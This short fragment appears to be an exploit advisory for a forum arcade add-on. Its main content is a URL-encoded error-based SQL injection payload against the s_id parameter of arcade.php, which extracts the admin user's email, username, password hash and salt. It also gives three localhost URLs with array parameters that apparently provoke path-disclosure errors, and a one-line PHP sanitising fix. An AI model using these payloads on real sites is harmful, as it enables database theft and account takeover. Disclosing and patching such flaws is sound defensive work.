/arcade.php?act=Arcade&do=stats&comment=a&s_id=1%20AND%20%28SELECT%201%20FROM%20%28SELECT%20 COUNT%28*%29,CONCAT%28%28SELECT%20CONCAT%28email,% 20userid,%200x3a,%20username,%200x3a,%20password,0 x3a,salt%29%20FROM%20user%20WHERE%20id%20=%201%29, FLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_ SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29

$ibforums->input['s_id'] = ibp_cleansql( $ibforums->input['s_id'] );

http://localhost/search.php?do[]=1337

http://localhost/profile.php?do[]=1337

http://localhost/subscription.php?do[]=1337